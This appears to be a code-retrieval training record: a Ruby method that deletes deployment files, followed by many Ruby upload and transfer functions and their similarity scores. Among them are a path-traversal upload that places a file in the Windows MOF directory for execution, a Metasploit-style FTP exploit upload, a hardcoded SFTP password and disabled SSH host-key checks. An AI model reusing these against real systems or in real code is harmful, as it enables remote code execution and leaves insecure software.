**DOWN_OPEN_OPTIONS)\n opt[:metadata] = opt[:metadata]&.dup || {}\n opt[:metadata]['filename'] ||= File.basename(url)\n file_attacher.attach(io, **opt)\n rescue => error\n __output \"!!! #{__method__}: #{error.class}: #{error.message}\"\n raise error\n ensure\n # noinspection RubyScope, RubyMismatchedReturnType\n io&.close\n end", "def upload local_file_path, storage_file_path, encryption_key: nil\n unless @bucket.file storage_file_path\n @bucket.create_file local_file_path, storage_file_path,\n encryption_key: encryption_key\n end\n end", "def upload(file)\n file = File.expand_path(file)\n\n abort \"#{file} does not exist!\" unless File.exist?(file)\n\n dest = dropbox_resolve_file(File.join(destination_directory, File.basename(file)))\n\n if remote_file = dropbox_upload_file(file, dest)\n url(remote_file, method: :create, retries: 0)\n else\n abort \"Couldn't upload file #{file}\"\n end\n rescue APIError => e\n abort e.message\n end", "def put(local_file, to_location, overwrite = true, close_file = true)\n local_file = File.open(File.expand_path(local_file), \"rb\") unless local_file.respond_to?(:read) # check if it's a File object\n result = @client.put_file(to_location, local_file, overwrite)\n local_file.close if close_file\n result\n rescue\n puts $! if @@verbose\n nil\n end", "def send_file(file, remotefile = File.basename(file))\n begin\n @ftp.putbinaryfile(file, remotefile)\n return true\n rescue Exception => e\n error_message(e)\n return false\n end\n end", "def upload(name, destination=nil)\n put File.open(name, \"rb\"), destination || File.basename(name)\n end", "def sudo_upload(local, remote, opts={})\n remote = expand_path remote\n\n # TODO: umask this?\n local_mode = File.stat(local).mode & 07777\n File.chmod 0600, local\n \n\n # Get temporary filename\n tmpfile = '/'\n while exists? tmpfile\n tmpfile = '/tmp/sudo_upload_' + Time.now.to_f.to_s\n end\n\n # Upload\n upload local, tmpfile, opts\n\n # Get remote mode/user/group\n sudo do\n if exists? remote\n mode = self.mode remote\n user = stat('-c', '%U', remote).strip\n group = stat('-c', '%G', remote).strip\n else\n user = stat('-c', '%U', File.dirname(remote)).strip\n group = stat('-c', '%G', File.dirname(remote)).strip\n mode = local_mode\n end\n\n # Move and chmod\n mv tmpfile, remote\n chmod mode, remote\n chown \"#{user}:#{group}\", remote\n end\n end", "def move_from_remote(remote_file, local_path)\n\t\tcopy_from_remote(remote_file, local_path)\n\t\tdelete_remote(remote_file)\n\tend", "def upload_file(connection, source, target, recursive = true)\n if connection.scp.upload!(source, target, recursive: recursive)\n Result.ok(:uploaded)\n else\n Result.error(\"Unable to upload #{source} to #{target}\")\n end\n rescue Net::SCP::Error\n Result.error(\"The network is overloaded. Unable to upload #{source} to #{target}\")\n end", "def upload_file(local_file, remote_path)\n Net::SFTP.start(HOSTNAME, USERNAME, :password => PASSWORD) do |sftp|\n file_perm = 0644\n next if File.stat(local_file).directory?\n remote_file = remote_path + \"/\" + local_file\n \n begin\n rstat = sftp.stat!(remote_file)\n rescue Net::SFTP::StatusException => e\n raise unless e.code == 2\n puts \"Copying #{local_file} to #{remote_file}\"\n sftp.upload(local_file, remote_file)\n sftp.setstat(remote_file, :permissions => file_perm)\n next\n end\n \n #puts File.stat(local_file).mtime \n #puts Time.at(rstat.mtime)\n if File.stat(local_file).mtime > Time.at(rstat.mtime)\n puts \"Updating #{local_file} to #{remote_file}\"\n sftp.upload(local_file, remote_file)\n end\n end\n end", "def transfer!\n Logger.message(\"#{ self.class } started transferring \\\"#{ remote_file }\\\".\")\n create_local_directories!\n FileUtils.cp(\n File.join(local_path, local_file),\n File.join(remote_path, remote_file)\n )\n end", "def upload_media_file( wikipath, filename, raw )\n p filename\n headers = {\n 'Content-Type' => 'application/octet-stream',\n 'X-File-Name' => filename\n }\n url = upload_url( wikipath, filename )\n p url\n wait_second\n pp @agent.post( url, raw, headers )\n save_uploaded( filename )\n end", "def create_uploaded_file\n Hyrax::UploadedFile.create(user: @user, file: local_file)\n end", "def upload\n if !@local_target.nil? && !@remote_target.nil?\n if @verbose\n system \"#{ @dbu } upload #{ @local_target } #{ @remote_target }\"\n else\n exec = `#{ @dbu } upload #{ @local_target } #{ @remote_target }`\n end\n else\n error_msg = 'Local and remote targets cannot be nil'\n @logger.error(error_msg) if @logger\n fail StandardError, error_msg\n end\n end", "def fetch_and_upload_file(file, **opt)\n meth = opt.delete(:meth) || __method__\n remote = file.match?(/^https?:/)\n result = remote ? upload_remote(file, **opt) : upload_local(file, **opt)\n Log.info do\n name = result&.original_filename.inspect\n size = result&.size || 0\n type = result&.mime_type || 'unknown MIME type'\n \"#{meth}: #{name} (#{size} bytes) #{type}\"\n end\n result\n end", "def copy_to_local(file_name, local_path, speed_limit = nil)\n src_path = \"#{self.path}#{file_name}\"\n \n r = `rm -rf #{local_path.shellescape}; mkdir -p #{File.dirname(local_path).shellescape} 2>&1`\n raise r if $?.exitstatus != 0\n\n # if remote file is directory?\n cmd = \"ssh -oStrictHostKeyChecking=no -q #{self.host} \\\"if [ -d #{src_path.shellescape} ]; then /bin/true; else /bin/false; fi\\\"\"\n r = `#{cmd} 2>&1`\n src_path += '/' if $?.exitstatus == 0\n\n cmd = \"ionice -c 2 -n 7 rsync -e \\\"ssh -o StrictHostKeyChecking=no\\\" -a #{FC::Storage.speed_limit_to_rsync_opt(speed_limit)}--rsync-path=\\\"ionice -c 2 -n 7 rsync\\\" #{self.host}:\\\"#{src_path.shellescape}\\\" #{local_path.shellescape}\"\n r = `#{cmd} 2>&1`\n raise r if $?.exitstatus != 0\n end", "def uploadFile(localFilePath, destFilePath, maxAge = 172800) # 2 Days = 1,72,800 seconds \n ext = File.extname(localFilePath).downcase\n msgContentType = \"\"\n cacheControl = \"max-age=#{maxAge}, must-revalidate\"\n if (ext == \"\")\n contentType = 'text/html'\n msgContentType = \"No file-ext: \"\n elsif (Fh5::Config.instance.contentTypes && Fh5::Config.instance.contentTypes.has_key?(ext))\n contentType = Fh5::Config.instance.contentTypes[ext]\n msgContentType = \"Override for '#{ext}':\"\n else \n contentType = MimeMagic.by_path(destFilePath).type\n end\n @log.info(@logPrefix) {\"Upload: '#{destFilePath}' (#{msgContentType}#{contentType}) (#{cacheControl})\"}\n begin\n File.open(localFilePath) do |f|\n content = f.read\n @bucketAdmin.defaultBucket.put(destFilePath, content, {}, 'public-read', \n {'Content-Type' => contentType, 'Cache-Control' => cacheControl})\n end\n rescue\n @log.errorException($!, @logPrefix) {\"Failed to upload to: '#{destFilePath}'\"}\n\n return nil\n end\n \n # comment out stuff related to public links which doesn't seem to work for website bucket.\n # publicLink = @bucketAdmin.endpointBucket.key(destFilePath).public_link\n # @log.debug(@logPrefix) {\"Public link: '#{publicLink}' for file: '#{destFilePath}'\"}\n # return publicLink \n end", "def upload(local, remote, port:, user:, password:)\n Net::SSH::Simple.scp_put(ip, local.to_s, remote.to_s,\n user: user, port: port, password: password, paranoid: false)\n true\n rescue Net::SSH::Simple::Error => e\n log.info \"Uploading '#{local}' failed: #{e.inspect}\"\n false\n end", "def Upload file\n \n APICall(path: \"uploads.json?filename=#{file.split('/').last}\",method: 'POST',payload: File.read(file))\n \n end", "def test_upload_file\n remote_file_name = 'TestUploadFile.docx'\n\n request_file_content = File.open(File.join(local_test_folder, local_file))\n request = UploadFileRequest.new(file_content: request_file_content, path: remote_data_folder + '/' + remote_file_name)\n\n result = @words_api.upload_file(request)\n assert_equal false, result.nil?\n end", "def prepareFileTransfer(iLocalFileName)\n rError = nil\n rNewData = nil\n\n # Put the complete file in the POST value.\n # TODO: Make a better handling, generic (use FTP/SCP/Netbios... if the MasterProvider allows it)\n # Read the file\n File.open(iLocalFileName, 'rb') do |iFile|\n rNewData = iFile.read\n end\n\n return rError, rNewData\n end", "def postgres_upload_binary_file(fname, remote_fname=nil)\n data = File.read(fname)\n postgres_upload_binary_data(data, remote_fname)\n end", "def local_file(f, body, options={})\n #return !self.config.public?\n file = init_fog_file(f, body, options)\n # If the \"file\" is empty then return nil\n return nil if file.nil? || file.blank? || local_root.nil?\n file = local_root(options).files.create( file )\n end", "def upload(source, destination, options = {} )\n options = @connection_options.clone\n host = options.delete(:host)\n username = options.delete(:username)\n channel = session.scp.upload(source,destination)\n channel.wait\n end", "def remote_file(task)\n target_roles = task.delete(:roles)\n override = task.delete(:override)\n\n UploadTask.define_task(task) do |t|\n prerequisite_file = t.prerequisites.first\n file = shared_path.join(t.name).to_s.shellescape\n\n on roles(target_roles) do\n if override || !test(\"[ -f #{file} ]\")\n info \"Uploading #{prerequisite_file} to #{file}\"\n upload! File.open(prerequisite_file), file\n end\n end\n\n end\n end", "def upload_server_file(hostname,username,password,remote_file,local_file)\n Net::SCP.upload!(hostname, username, remote_file, local_file, :ssh => { :password => password })\n return\nend", "def upload_file(uploader, url)\n uri = URI.parse(url)\n if uri.host.nil?\n # Local, prepend url\n file = File.open(uploader.root + url)\n else\n # Add a scheme if the url is of the form \"//host.com/assets/\"\n uri.scheme = \"http\" if uri.scheme.nil?\n # Remote\n uploader.download!(uri.to_s)\n file = uploader.file\n end\n file\n end", "def upload_to_storage(local_path, repository)\n storage_connection = Faraday.new do |conn|\n conn.request(:multipart)\n conn.adapter(Faraday.default_adapter)\n end\n payload = { file: Faraday::UploadIO.new(local_path, 'application/binary') }\n storage_connection.put(repository, payload)\n end", "def send_local_file(filename)\n filename = File.absolute_path(filename)\n if @opts[:local_infile] || @opts[:load_data_local_dir] && filename.start_with?(@opts[:load_data_local_dir])\n File.open(filename){|f| write f}\n else\n raise ClientError::LoadDataLocalInfileRejected, 'LOAD DATA LOCAL INFILE file request rejected due to restrictions on access.'\n end\n ensure\n write nil # EOF mark\n end", "def upload_file(source, destination, targets)\n future = executor.future&.fetch('file_paths', false)\n source = find_file(source, future)\n targets = inventory.get_targets(targets)\n\n Bolt::Util.validate_file('source file', source, true)\n\n with_benchmark do\n executor.upload_file(targets, source, destination)\n end\n end", "def upload_file(file_path, itunes_location)\n # url = URI.parse(self.upload_url_for_location(itunes_location))\n # req = Net::HTTP::Post::Multipart.new(url.path, {\"file\" => UploadIO.new(file_path, \"image/jpeg\")})\n # res = Net::HTTP.start(url.host, url.port) do |http|\n # http.request(req)\n # end\n \n IO::popen('-') do |c|\n exec \"curl -q -F 'file=@#{file.path}' '#{upload_url_for_location(itunes_location)}'\"\n end\n end", "def remote_copy_file(source, target, options = {})\n Uploadcare::File.remote_copy(source, target, options)\n end", "def create\n if params[:local_file].present?\n if ingest_local_file\n redirect_to sufia.batch_edit_path(params[:batch_id])\n else\n flash[:alert] = \"Error creating generic file.\"\n render :new\n end\n else\n # They are uploading files.\n super\n end\n end", "def local_file_params\n params.require(:local_file).permit(:file, :file_fingerprint, :url)\n end", "def local_copy_file(source, options = {})\n Uploadcare::File.local_copy(source, options)\n end", "def file_send(file_local, file_target, compressed=false)\n\t\traise \"Target machine is not accessible\" if (!@config[\"ssh\"] or !@ip)\n\t\traise \"Local file (#{source}) is not accessible\" if (!(file_local[-1].eql? \"/\") && !(file_local[-2,2].eql? \"/*\") && !File.exist?(File.expand_path(file_local)))\n\n\t\t# Prepare\n\t\tfile_local = File.expand_path(file_local.gsub(/\\/\\*$/, ''))\n\t\tfile_target = file_target.gsub(/\\/$/, '')\n\n\t\t# Send\n\t\tif (compressed && !(['.tar.gz','.gz','.zip'].include? File.extname(file_local)))\n\t\t\t# Compress, send, uncompress\n\t\t\tcase compressed\n\t\t\t\twhen \"tar\"\n\t\t\t\t\t# TAR\n\t\t\t\t\t_tarname = Time.now.to_i\n\t\t\t\t\tputs \"[INFO] Sending #{file_local} using TAR archive\" if $debug\n\t\t\t\t\t`rm -f /tmp/captain/transfers/#{_tarname}.tar.gz && cd $(dirname \"#{file_local}\") && tar -czf /tmp/captain/transfers/#{_tarname}.tar.gz $(basename \"#{file_local}\") && scp -rq -oStrictHostKeyChecking=no -oConnectTimeout=8 -i \"#{@config[\"ssh\"][\"key\"]}\" /tmp/captain/transfers/#{_tarname}.tar.gz #{@config[\"ssh\"][\"username\"]}@#{@ip}:/tmp/captain/transfers/#{_tarname}.tar.gz 2>/dev/null && rm -f /tmp/captain/transfers/#{_tarname}.tar.gz`\n\t\t\t\t\t_scp = command_send(\"tar -xzf /tmp/captain/transfers/#{_tarname}.tar.gz -C $(dirname '#{file_target}') && mv \\\"$(dirname '#{file_target}')/$(basename '#{file_local}')\\\" \\\"#{file_target}\\\" && rm -f /tmp/captain/transfers/#{_tarname}.tar.gz\")\n\t\t\t\twhen \"zip\"\n\t\t\t\t\t# ZIP\n\t\t\t\t\t_zipname = Time.now.to_i\n\t\t\t\t\tputs \"[INFO] Sending #{file_local} using ZIP archive\" if $debug\n\t\t\t\t\t`rm -f /tmp/captain/transfers/#{_zipname}.zip && cd $(dirname \"#{file_local}\") && zip -rq /tmp/captain/transfers/#{_zipname}.zip $(basename \"#{file_local}\") && scp -rq -oStrictHostKeyChecking=no -oConnectTimeout=8 -i \"#{@config[\"ssh\"][\"key\"]}\" /tmp/captain/transfers/#{_zipname}.zip #{@config[\"ssh\"][\"username\"]}@#{@ip}:/tmp/captain/transfers/#{_zipname}.zip 2>/dev/null && rm -f /tmp/captain/transfers/#{_zipname}.zip`\n\t\t\t\t\t_scp = command_send(\"unzip /tmp/captain/transfers/#{_zipname}.zip -d $(dirname '#{file_target}') && mv \\\"$(dirname '#{file_target}')/$(basename '#{file_local}')\\\" \\\"#{file_target}\\\" && rm -f /tmp/captain/transfers/#{_zipname}.zip\")\n\t\t\t\telse\n\t\t\t\t\traise \"Unsupported archiving type \"+compressed\n\t\t\tend\n\t\telse\n\t\t\t# Send uncompressed\n\t\t\tputs \"[INFO] Sending #{file_local}\" if $debug\n\t\t\t_scp = `scp -rq -oStrictHostKeyChecking=no -oConnectTimeout=8 -i \"#{@config[\"ssh\"][\"key\"]}\" \"#{file_local}\" #{@config[\"ssh\"][\"username\"]}@#{@ip}:\"#{file_target}\" 2>/dev/null`\n\t\tend\n\t\treturn _scp\n\tend", "def upload(file, someone)\n end", "def stor_file(source, filename)\n self.ftp.chdir(\"/upload\")\n\n if source.is_a?(File)\n self.ftp.putbinaryfile(source, filename, Net::FTP::DEFAULT_BLOCKSIZE)\n else\n self.ftp.storbinary(\"STOR #{filename}\", StringIO.new(source), Net::FTP::DEFAULT_BLOCKSIZE)\n end\n\n true\n end", "def file_upload(*paths); net_scp_transfer!(:upload, false, *paths); end", "def upload(filename, folderid=nil, unzip=true, overwrite=false, details=nil) #filename must include the extension\n end", "def string_upload(str, remote_path)\n net_scp_transfer!(:upload, StringIO.new(str), remote_path)\n end", "def upload_file!(file, description)\n execute!(\n api_method: drive.files.insert,\n body_object: file_description(file, description),\n media: Google::APIClient::UploadIO.new(file, file.content_type),\n parameters: { uploadType: 'multipart', alt: 'json'})\n end", "def upload_file_url\n \"file://#{upload_full_path}\"\n end", "def copy_to_local(file_name, local_path, speed_limit = nil)\n src_path = \"#{self.path}#{file_name}\"\n \n r = `rm -rf #{local_path.shellescape}; mkdir -p #{File.dirname(local_path).shellescape} 2>&1`\n raise r if $?.exitstatus != 0\n \n speed_limit = (speed_limit * 1000).to_i if speed_limit.to_f > 0\n cmd = self.class.curr_host == host ? \n \"cp -r #{src_path.shellescape} #{local_path.shellescape}\" : \n \"scp -r -q -oBatchMode=yes -oStrictHostKeyChecking=no #{speed_limit.to_i > 0 ? '-l '+speed_limit.to_s : ''} #{self.host}:\\\"#{src_path.shellescape}\\\" #{local_path.shellescape}\"\n r = `#{cmd} 2>&1`\n raise r if $?.exitstatus != 0\n end", "def upload_file(dir_name, file, filename = File.basename(file.to_path))\n file = nil\n\n # Upload\n dir = @connection.directories.get(dir_name)\n if dir then\n file = dir.files.create(:key => filename, :body => file) \n else\n @logger.info \"\\nWarning: #{dir_name} does not exist.\\n\"\n end \n file\n end", "def copy_from_remote(remote_file, local_path)\n\t\tbegin\n\t\t\t@@logger.info { \"Copying file from #{remote_file} to #{local_path}\" }\n\t\t\t@ssh_session.scp.download!(remote_file, local_path)\n\t\t\treturn true\n\t\trescue => err\n\t\t\t@@logger.error { \"SCP failed: #{err.message}\" }\n\t\t\t@@logger.error { \"\\t #{err.backtrace}\" }\n\t\tend\n\tend", "def upload_file\n #TODO\n end", "def upload(file, identifier, copy = true)\n return \"/images/no_image.gif\" if file.nil?\n\n filename = \"#{identifier.to_s}_#{file[:filename]}\"\n full_path = File.join(self.root, self.path)\n\n if copy\n FileUtils.mkdir_p(full_path)\n FileUtils::cp(file[:tempfile].path, File.join(full_path, filename))\n end\n\n File.join(self.path, filename)\n end", "def upload(bucket, local_dir, remote_subdir=nil)\n puts \"> AWS Upload: #{bucket}\".yellow\n puts \" SUBDIR: #{remote_subdir}\".yellow unless remote_subdir.nil?\n puts \" SOURCE: #{local_dir}\".yellow\n raise FileNotFound.new(local_dir) unless File.exists?(local_dir)\n\n s3 = Aws::S3::Resource.new(client: s3_client)\n bucket = s3.bucket(bucket)\n\n files = Dir.glob(File.join(local_dir, '**/*')).reject { |f| File.directory?(f) }\n dir_prefix = (local_dir.end_with?('/')) ? local_dir : \"#{local_dir}/\"\n puts \"> Uploading #{files.size} files\".yellow\n progressbar = ProgressBar.create(title: ' AWS::Put'.yellow, total: files.size)\n files.each do |file|\n rel_path = file.delete_prefix(dir_prefix)\n file_path = (remote_subdir.nil?) ? rel_path : File.join(remote_subdir, rel_path)\n bucket.object(file_path).upload_file(file) do |response|\n progressbar.increment\n end\n # s3.put_object(\n # body: file,\n # bucket: bucket,\n # key: File.join(remote_subdir, File.basename(file))\n # )\n end\n progressbar.finish unless progressbar.finished?\n end", "def upload_simple(filename, overwrite:, target_name:)\n target_file = get(target_name)\n exist = target_file.file?\n return if exist && !overwrite\n path = nil\n if exist\n path = \"#{target_file.api_path}/content\"\n else\n path = \"#{api_path}:/#{target_name}:/content\"\n end\n\n query = {\n path: File.join('v1.0/me/', path),\n headers: {\n 'Authorization': \"Bearer #{@od.access_token.token}\",\n 'Content-Type': 'application/octet-stream'\n },\n body: File.read(filename)\n }\n result = @od.conn.put(query)\n result = JSON.parse(result.body)\n file = OneDriveFile.new(@od, result)\n file.set_mtime(File.mtime(filename))\n end", "def upload_binary_and_config(config_file_local, config_filename_remote, host)\n transfer INTEGRIT_BINARY, host+\":integrit\"\n transfer config_file_local.to_s, host+\":\"+config_filename_remote\n end", "def upload\n @files.each do |fn|\n sh %{scp -q #{@local_dir}/#{fn} #{@host}:#{@remote_dir}}\n end\n end", "def upload_file(f, body, options={})\n file = init_fog_file(f, body, options)\n if self.config.enabled?\n return directory(options).files.create( file )\n else\n return local_file(f, body, options)\n end\n end", "def securedftp localfile\n begin\n Net::SFTP.start(@conf[:host],'masset2', :password => 'masset2!media') do |sftp|\n sftp_mkdir sftp, dirs\n sftp.stat(remotefile) do |response|\n unless response.ok?\n sftp.upload!(localfile, remotefile)\n end\n end\n end\n local_to_remote_url localfile\n rescue Exception=>ex\n Rails.logger.error \"securedftp #{localfile} - #{ex.message}\"\n nil\n end\n end", "def retrieve_to_file(remote_path, local_file_path)\n get_adapter.retrieve_file_to_file(remote_path, local_file_path)\n end", "def upload_file(upload_url, filename_or_stream, content_type, filename = nil)\n handle_error do\n fileserver_connection(upload_url).post do |req|\n req.body = { file: UploadIO.new(filename_or_stream, content_type, filename) }\n end\n end\n end", "def upload_files local, hdfs, files\n local_files = Dir[File.join local, '*'].map { |f| File.basename f }\n remote_files = ls_remote(hdfs).map { |f| File.basename f }\n unuploaded_files = files - remote_files\n if (unuploaded_files - local_files).any?\n raise HdfsFileUploadingError,\n \"Files: #{unuploaded_files - local_files} \" <<\n \"can't be found on either local or hdfs.\"\n end\n (files - (files - remote_files)).each { |f| puts \"File: #{f} existed on HDFS.\" }\n upload_hdfs hdfs, unuploaded_files.map { |f| File.join local, f }\n end", "def put_file(destination, file)\n href = self.class.get_href(destination)\n @rest_logger.info \"#{__method__.to_s.upcase}\\t#{href}\"\n response = @file_uploader.upload(href, file, @cookies)\n response\n end", "def upload_file(from_path, file_name, opts={})\n return false unless valid?\n pub = !!opts[:public]\n object(file_name).upload_file(from_path)\n make_public(file_name) if pub\n end", "def upload_file(file)\n file_path = file.path\n\n @size = File.size(file_path)\n @filename = File.basename(file_path)\n @io = File.open(file_path)\n io.binmode\n Rails.logger.debug \"filename of file to upload: #{filename} filepath: #{file_path}\"\n upload_io(io, size, filename).tap do\n io.close\n end\n end", "def addFile(url, local_name)\r\n\t\t\t`bitsadmin /rawreturn /addfile {#{@id}} #{url} #{local_name}`\r\n\t\tend", "def upload_and_run(local_path, remote_path)\n upload local_path, remote_path\n run \"chmod a+x #{remote_path}\"\n sudo remote_path\n sudo \"rm #{remote_path}\"\nend", "def ftp_copy(ftp, local_file, remote_file)\n in_ftp_dir(ftp, File.dirname(remote_file)) do |_ftp|\n basename = File.basename(remote_file)\n _ftp.putbinaryfile(local_file, \"#{basename}.in_progress\")\n _ftp.rename(\"#{basename}.in_progress\", basename)\n end\n end", "def upload_file_to_guest(local_path, guest_path, quiet=false)\n\n # 1 copy to tmp location in .ievms\n FileUtils.cp local_path, File.join(IEVMS_HOME,File.basename(local_path))\n\n # 2 run cp command in machine\n log_stdout \"Copying #{local_path} to #{guest_path}\", quiet\n guestcontrol_exec \"cmd.exe\", \"cmd.exe /c copy \\\"E:\\\\#{File.basename(local_path)}\\\" \\\"#{guest_path}\\\"\"\n\n # 3 remove tmp file in .ievms\n FileUtils.rm File.join(IEVMS_HOME,File.basename(local_path))\n end", "def upload_file(path, format, file)\n delete path\n append_from_file(path, format, file)\n end", "def upload(path, options={})\n if options[:description]\n options['text'] = options[:description]\n options.delete(:description)\n end\n\n if options[:target]\n options['filename'] = options[:target]\n options.delete(:target)\n end\n\n if options[:summary]\n options['text'] ||= options[:summary]\n options['comment'] = options[:summary]\n options.delete(:summary)\n end\n\n options['comment'] ||= \"Uploaded by MediaWiki::Gateway\"\n options['file'] = File.new(path) if path\n full_name = path || options['url']\n options['filename'] ||= File.basename(full_name) if full_name\n\n raise ArgumentError.new(\n \"One of the 'file', 'url' or 'sessionkey' options must be specified!\"\n ) unless options['file'] || options['url'] || options['sessionkey']\n\n form_data = options.merge(\n 'action' => 'upload',\n 'token' => get_token('edit', options['filename'])\n )\n\n make_api_request(form_data)\n end", "def upload_file(command, remote_path, contents, ssh_username=nil)\n upload_as_user = ssh_username || default_ssh_username\n run_remote_command(\"mkdir -p #{File.dirname(remote_path)}\", upload_as_user)\n Tempfile.open(\"remote_script\") do |file|\n file << contents\n file.flush\n logfile.puts \"uploading #{remote_path} to Inception VM\"\n Net::SCP.upload!(host, upload_as_user, file.path, remote_path, ssh: { keys: private_keys })\n end\n true\n rescue StandardError => e\n logfile.puts \"ERROR running upload_file(#{command.class}, '#{remote_path}', ...)\"\n logfile.puts e.message\n logfile.puts e.backtrace\n false\n end", "def upload(local_dir:, name:, flavor:, project:, build_number:)\n raise \"#{self.class}#publish not implemented\"\n end", "def upload_file(file, file_name, folder = '/cgi-bin/uploads')\n upload_url = 'https://mp.weixin.qq.com/cgi-bin/filetransfer'\\\n '?action=upload_material&f=json&writetype=doublewrite'\\\n \"&groupid=1&ticket_id=#{@ticket_id}\"\\\n \"&ticket=#{@ticket}&token=#{@token}&lang=zh_CN\"\n response = RestClient.post upload_url, file: file,\n Filename: file_name,\n folder: folder\n JSON.parse response.to_s\n end", "def upload!(file_path)\n raise GitCloud::FileException.new(\"NotFound\") unless File.exists? file_path\n file = File.new(File.expand_path(file_path))\n add(file)\n commit\n push\n end", "def put_r(local_dir, remote_dir)\n return false if !File.directory?(local_dir)\n upload_dir(local_dir, remote_dir)\n end", "def upload(api_method, url, options = {})\n mime_type = ::MIME::Types.type_for(options[:media]).first.to_s\n file = File.read(options.delete(:media))\n\n options[:body][:mimeType] = mime_type\n options[:headers] = (options[:headers] || {}).merge({'X-Upload-Content-Type' => mime_type})\n\n response = request(api_method, url, options)\n\n options[:body] = file\n options[:headers].delete('X-Upload-Content-Type')\n options[:headers].merge!({'Content-Type' => mime_type, 'Content-Length' => file.bytesize.to_s})\n\n request(:put, response.headers['Location'], options)\n end", "def transfer!\n begin\n Logger.message(\"#{ self.class } started transferring \\\"#{ remote_file }\\\" to bucket \\\"#{ bucket }\\\"\")\n connection.sync_clock\n connection.put_object(\n bucket,\n File.join(remote_path, remote_file),\n File.open(File.join(local_path, local_file))\n )\n rescue Excon::Errors::NotFound\n raise \"An error occurred while trying to transfer the backup, please make sure the bucket exists.\"\n end\n end", "def upload_file_to_guest_as_admin(local_path, guest_path, quiet=false)\n\n log_stdout \"Copying #{local_path} to #{guest_path} as Administrator\", quiet\n\n upload_file_to_guest(local_path, 'C:\\Users\\IEUser\\.tempadminfile',true)\n run_command_as_admin('copy C:\\Users\\IEUser\\.tempadminfile '+ guest_path,true)\n run_command 'del C:\\Users\\IEUser\\.tempadminfile', true\n end", "def upload(filename)\r\n select(nil, nil, nil, 1)\r\n\r\n peer = \"#{rhost}:#{rport}\"\r\n print_status(\"#{peer} - Trying to upload #{::File.basename(filename)}\")\r\n conn = connect(false, datastore['VERBOSE'])\r\n if not conn\r\n fail_with(Exploit::Failure::Unreachable, \"#{@peer} - Connection failed\")\r\n end\r\n\r\n # Switch to binary mode\r\n print_status(\"#{peer} - Set binary mode\")\r\n send_cmd(['TYPE', 'I'], true, conn)\r\n\r\n # Prepare active mode: Get attacker's IP and source port\r\n src_ip = datastore['SRVHOST'] == '0.0.0.0' ? Rex::Socket.source_address : datastore['SRVHOST']\r\n src_port = datastore['SRVPORT'].to_i\r\n\r\n # Prepare active mode: Convert the IP and port for active mode\r\n src_ip = src_ip.gsub(/\\./, ',')\r\n src_port = \"#{src_port/256},#{src_port.remainder(256)}\"\r\n\r\n # Set to active mode\r\n print_status(\"#{peer} - Set active mode \\\"#{src_ip},#{src_port}\\\"\")\r\n send_cmd(['PORT', \"#{src_ip},#{src_port}\"], true, conn)\r\n\r\n # Tell the FTP server to download our file\r\n send_cmd(['STOR', filename], false, conn)\r\n\r\n print_good(\"#{peer} - Upload successful\")\r\n disconnect(conn)\r\n end", "def test_copy_file\n remote_file_name = 'TestCopyFileSrc.docx'\n\n upload_file File.join(local_test_folder, local_file), remote_data_folder + '/' + remote_file_name\n\n request = CopyFileRequest.new(dest_path: remote_data_folder + '/TestCopyFileDest.docx', src_path: remote_data_folder + '/' + remote_file_name)\n\n @words_api.copy_file(request)\n end", "def files_remote_post(file_type, title, item_type, item_id, remote_location, opts = {})\n files_remote_post_with_http_info(file_type, title, item_type, item_id, remote_location, opts)\n end", "def upload(from, to)\n end" ]
[ "0.83072245", "0.77938145", "0.77821726", "0.76384795", "0.76349217", "0.7625202", "0.74343544", "0.7399754", "0.7391588", "0.7334839", "0.7229629", "0.72247857", "0.7113984", "0.7024774", "0.70141464", "0.6963329", "0.6943939", "0.6902225", "0.6842788", "0.674238", "0.67310166", "0.67174363", "0.66716486", "0.66455716", "0.659699", "0.65182596", "0.65132236", "0.65127647", "0.65006673", "0.6498042", "0.64976573", "0.6444083", "0.64388466", "0.6423608", "0.64209765", "0.6415381", "0.6394613", "0.6387368", "0.63817495", "0.63700867", "0.63639665", "0.63614094", "0.63325673", "0.63178307", "0.6306899", "0.6301775", "0.62966573", "0.6280216", "0.6271752", "0.62625504", "0.6247754", "0.62450635", "0.6242903", "0.6232664", "0.6231056", "0.62271595", "0.62209755", "0.62161493", "0.6213772", "0.62025183", "0.6183047", "0.6179957", "0.6155836", "0.61384004", "0.61062247", "0.6103731", "0.6097804", "0.60952586", "0.60911244", "0.6075187", "0.60742134", "0.6070248", "0.60696346", "0.60641843", "0.6038079", "0.60371494", "0.60251373", "0.6012581", "0.6009641", "0.59967995", "0.59963095", "0.598652", "0.59712696", "0.5969561", "0.59602535", "0.595426", "0.59493595", "0.59484655", "0.5941213", "0.59260154", "0.59219307", "0.5913886", "0.5908283", "0.5902952", "0.58999544", "0.5886435", "0.5882859", "0.5880084", "0.58764625", "0.58707464" ]
0.75752836
6
upload a file without multipart local_file is the full absolute local filename destination should be the full remote file path, including the file name.
def destroy_file(deployment_id, id, destination, params={}) if destination.empty? || destination == "/" || destination == "." || destination.include?("../") raise "#{self.class}.upload_file() passed a bad destination: '#{destination}'" end # url = "#{@base_url}/#{base_path}/#{deployment_id}/versions/#{id}/files" url = "#{base_path}/#{deployment_id}/versions/#{id}/files" if !destination.to_s.empty? url += "/#{destination}" end # use URI to escape path uri = URI.parse(url) url = uri.path execute(method: :delete, url: url, params: params) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def upload_file(remote, local)\n write_file(remote, ::File.read(local))\n end", "def upload!(local, remote, options = {}) # rubocop:disable Lint/UnusedMethodArgument\n end", "def upload(local, remote = nil, opts={})\n remote ||= File.split(local).last\n remote = expand_path remote\n ssh.scp.upload!(local, remote, opts)\n end", "def upload_file(remote_filepath, remote_filename, local_filedata = null)\r\n magic_code = \"\\xdd\\xdd\"\r\n opcode = [6].pack('L')\r\n\r\n # We create the filepath for the upload, for execution it should be \\windows\\system32\\wbem\\mof\\<file with extension mof!\r\n file = \"..\\\\..\\\\\" << remote_filepath << remote_filename << \"\\x00\"\r\n pkt_size = local_filedata.size() + file.size() + (0x108 - file.size()) + 4\r\n\r\n # Magic_code + packing + size\r\n pkt = magic_code << \"AAAAAAAAAAAA\" << [pkt_size].pack('L')\r\n\r\n tmp_pkt = opcode << file\r\n tmp_pkt += \"\\x00\"*(0x108 - tmp_pkt.size) << [local_filedata.size].pack('L') << local_filedata\r\n pkt << tmp_pkt\r\n\r\n print_status(\"Starting upload of file #{remote_filename}\")\r\n connect\r\n sock.put(pkt)\r\n disconnect\r\n\r\n print_status(\"File uploaded\")\r\n end", "def upload_file local_source, remote_dest, options = {}\n add [local_source, remote_dest], check_file(remote_dest)\n chmod options[:perms], remote_dest if options[:perms]\n chown options[:owner], remote_dest if 